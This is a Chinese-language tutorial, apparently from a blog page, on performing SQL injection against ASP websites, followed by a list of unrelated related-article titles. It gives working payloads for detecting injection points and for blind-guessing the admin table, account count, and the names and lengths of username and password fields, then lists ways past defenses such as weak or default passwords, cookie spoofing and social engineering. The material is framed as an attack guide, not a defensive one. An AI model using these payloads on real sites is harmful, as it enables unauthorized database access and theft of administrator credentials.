一、寻找目标

如果要对一个网站进行SQL注入攻击,首先就需要找到存在SQL注入漏洞的地方,也就是寻找所谓的注入点。可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方。

  最常用的寻找SQL注入点的方法,是在网站中寻找如下形式的页面链接:http://www.xxx.com/xxx.asp?id=YY

  其中“YY”可能是数字,也有可能是字符串,分别被称为整数类型数据或者字符型数据。在本章中我们主要针对整数型数据进行SQL注入讲解。

  通常可以使用以下几种方法进行检测,判断该页面链接是否存在SQL注入漏洞。

二、常见注入方法

1.“加引号”法
  在浏览器地址栏中的页面链接地址后面增加一个单引号,如下所示:
  http://www.xxx.com/xxx.asp?id=YY’
  然后访问该链接地址,浏览器可能会返回类似于下面的错误提示信息:
  Microsoft JET Database Engine 错误’80040e14’
  字符串的语法错误在查询表达式’ID=YY’中。
  /xxx.asp 行8
  如图1.3所示,页面中如果返回了类似的错误信息,说明该网站可能存在SQL注入攻击的漏洞。
寻找SQL注入点

2.“1=1和1=2”法
  “加引号”法很直接,也很简单,但是对SQL注入有一定了解的程序员在编写程序时,都会将单引号过滤掉。如果再使用单引号测试,就无法检测到注入点了。这时,就可以使用经典的“1=1和1=2”法进行检测。
  如果正常页面链接地址为:http://www.xxx.com/xxx.asp?id=YY,在浏览器中分别输入以下两个链接地址,分别查看它们返回的结果值。
   http://www.xxx.com/xxx.asp?id=YY and 1=1。
   http://www.xxx.com/xxx.asp?id=YY and 1=2。
  如果存在注入点的话,浏览器将会分别显示为:
   正常显示,内容与正常页面显示的结果基本相同。
   提示BOF或EOF(程序没做任何判断时),或提示找不到记录,或显示内容为空(程序加了on error resume next),如图1.4所示。
  如果没有注入点的存在,也很容易判断。
  上述两种链接一般都会有程序定义的错误提示,或提示类型转换时出错。

3.判断有无注入点 
; and 1=1 and 1=2
常见的sql注入语句
?ID=1‘
?ID=1 and 1=1
?ID=1 and 1=2

4.猜表一般的表的名称无非是admin adminuser user pass password 等 
and 0<>(select count(*) from *) 
and 0<>(select count(*) from admin) ---判断是否存在admin这张表

5.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 
and 0<(select count(*) from admin) 
and 1<(select count(*) from admin)

6.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 
and 1=(select count(*) from admin where len(*)>0)-- 
and 1=(select count(*) from admin where len(用户字段名称name)>0) 
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

7.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 
and 1=(select count(*) from admin where len(*)>0) 
and 1=(select count(*) from admin where len(name)>6) 错误 
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确 
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 
and 1=(select count(*) from admin where len(password)=12) 正确

三、SQL注入攻与防
防范
1.屏蔽了错误回显
2.该网站使用了安全狗
3.使用了SQL防注入文件。等等
解决办法
1.列目录
2.数据库默认地址,爆数据库
3.后台默认密码,弱口令尝试
4.编辑器默认密码,弱口令尝试
5.cookie欺骗
6.旁注
7.找网站的其他漏洞
8.社工
方法很多,关键是思路、方法,灵活应用

补充资料

SQL注入之post注入 https://blog.csdn.net/weixin_39658966/article/details/110669023

SQL注入攻击 https://blog.csdn.net/weixin_39658966/article/details/110669023

简单的SQL注入攻击相关推荐

  1. 一个简单的SQL注入攻击

    在上一篇博客中:http://blog.csdn.net/suwei19870312/article/details/7579667.讲了Client 端代码和Server端代码的交互. Client ...

  2. mysql注入攻击实_三十三、MySQL基础系列笔记之MySQL安全问题与SQL注入攻击

    SQL注入攻击大多数与程序有关系,程序不严谨是导致SQL注入攻击成功的一个原因.安全问题不容忽视,平常的开发中应关注安全问题.下面简单记录PHP中的SQL攻击问题. 什么是SQL注入攻击 SQL注入( ...

  3. PHP的SQL注入攻击的技术实现以及预防措施

    最近在折腾 PHP + MYSQL 的编程.了解了一些 PHP SQL 注入攻击的知识,总结一下经验.在我看来,引发 SQL 注入攻击的主要原因,是因为以下两点原因: 1. php 配置文件 php. ...

  4. SQL Server安全-加密术和SQL注入攻击

    SQL Server上的加密术 SQL Server上内置了加密术用来保护各种类型的敏感数据.在很多时候,这个加密术对于你来说是完全透明的:当数据被存储时候被加密,它们被使用的时候就会自动加密.在其他 ...

  5. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  6. sql参数化还是被注入了_面试官问你 SQL 注入攻击了吗?

    目录 为什么要聊 SQL 注入攻击? 什么是 SQL 注入攻击? 如何进行 SQL 注入攻击? 如何防范? 常见面试题 瞎比比 为什么要聊 SQL 注入攻击? 我这人有个想法,就是不管自己跳不跳槽,每 ...

  7. 简单的SQL注入学习

    引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...

  8. 初探PHP的SQL注入攻击的技术实现以及预防措施

    SQL 攻击(SQL injection,台湾称作SQL资料隐码攻击),简称注入攻击,是发生于应用程序之数据库层的安全漏洞.简而言之,是在输入的字符串之中注入SQL指 令,在设计不良的程序当中忽略了检 ...

  9. Spring MVC防御CSRF、XSS和SQL注入攻击

    本文说一下SpringMVC如何防御CSRF(Cross-site request forgery跨站请求伪造)和XSS(Cross site script跨站脚本攻击). 说说CSRF 对CSRF来 ...

最新文章

  1. 并发编程基础篇——第一章(并发相关基础概念理解)
  2. Microbiome:重新定义“卫生”的概念
  3. 「每天一道面试题」下面的代码有问题吗?为什么?
  4. 会考flash中文字变形为三角形_关于信息技术会考 Flash操作题实用模版
  5. 不借助第三方工具查看映像路径(系统进程路径).
  6. 数据库-多条件查询-优先级
  7. error Infos
  8. 鸿蒙1号六年级下册课时练答案,【奥数天天练】小学1~6年级思维能力特训|第310期...
  9. matlab mobilenet v2,MobileNetV2-SSDLite代码分析-6 VOC Dataset
  10. 10月Web服务器调查:Apache下降 Ngnix攀升
  11. 使用tmpfs存放MySQL的临时文件的问题一则
  12. android坐侧菜单栏,SlidingLayoutDemo android左侧菜单栏的实现 - 下载 - 搜珍网
  13. m7405d粉盒清零方法_打印机清零方法总览
  14. 性能优化的终极目标-内存简析
  15. 前端使用prettier格式化规范
  16. 北京市海淀区踢球场地指南
  17. 通过初始时间和流逝的分钟数计算终止时间
  18. SpringBoot、EasyPoi、Echarts 实现文档导入、出、图表显示 (饼状图、柱状图) 保姆级教程
  19. i3 10100f和i5 10400f 哪个好
  20. 实例变量和类变量、实例方法类方法区别

热门文章

  1. QOpenGLWidget运行时闪退
  2. Centos7 安装Chrome浏览器
  3. 【重识云原生】计算第2.6节——裸金属方案
  4. 《数据库系统应用程序开发》考试
  5. 【机器学习实战】k-近邻算法案例——改进约会网站的配对效果
  6. php tree view,VB.Net树视图(TreeView)
  7. java虚拟机系列:java虚拟机内存模型
  8. ORACLE 年龄计算到月份
  9. Fans没信心,回家继续修行
  10. mysql inet aton ipv6_Linux网络编程IPv4和IPv6的inet_addr、inet_aton、inet_pton等函数小结